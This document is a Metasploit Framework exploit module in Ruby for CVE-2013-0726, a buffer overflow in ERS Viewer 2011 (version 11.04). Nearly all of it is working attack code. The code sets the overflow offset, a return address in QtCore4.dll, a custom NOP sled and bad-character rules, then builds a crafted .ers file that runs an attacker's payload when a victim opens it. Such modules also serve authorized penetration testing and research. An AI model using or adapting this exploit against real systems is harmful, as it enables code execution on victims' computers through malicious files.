ERS Viewer 2011 ERS File Handling Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ERS Viewer 2011 ERS File Handling Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in ERS Viewer 2011  
(version 11.04). The vulnerability exists in the module ermapper_u.dll where the  
function ERM_convert_to_correct_webpath handles user provided data in a insecure  
way. It results in arbitrary code execution under the context of the user viewing  
a specially crafted .ers file. This module has been tested successfully with ERS  
Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Parvez Anwar', # Vulnerability Discovery  
'juan vazquez' # Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2013-0726' ],  
[ 'OSVDB', '92694' ],  
[ 'BID', '59379' ],  
[ 'URL', 'http://secunia.com/advisories/51725/' ]  
],  
'Payload' =>  
{  
'Space' => 7516,  
'BadChars' => "\x22\x5c" +  
(0x7f..0xff).to_a.pack("C*") +  
(0x00..0x08).to_a.pack("C*") +  
(0x0a..0x1f).to_a.pack("C*"),  
'DisableNops' => true,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ESP'  
}  
},  
'SaveRegisters' => [ 'ESP' ],  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'ERS Viewer 2011 (v11.04) / Windows XP SP3 / Windows 7 SP1',  
{  
'Offset' => 260,  
'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 23 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']),  
], self.class)  
  
end  
  
# Rewrote it because make_nops is ignoring SaveRegisters  
# and corrupting ESP.  
def make_nops(count)  
return "\x43" * count # 0x43 => inc ebx  
end  
  
def exploit  
  
buf = rand_text(target['Offset'])  
buf << [target.ret].pack("V")  
buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode  
buf << payload.encoded  
  
ers = %Q|  
DatasetHeader Begin  
Name = "#{buf}"  
DatasetHeader End  
|  
  
file_create(ers)  
end  
end  
`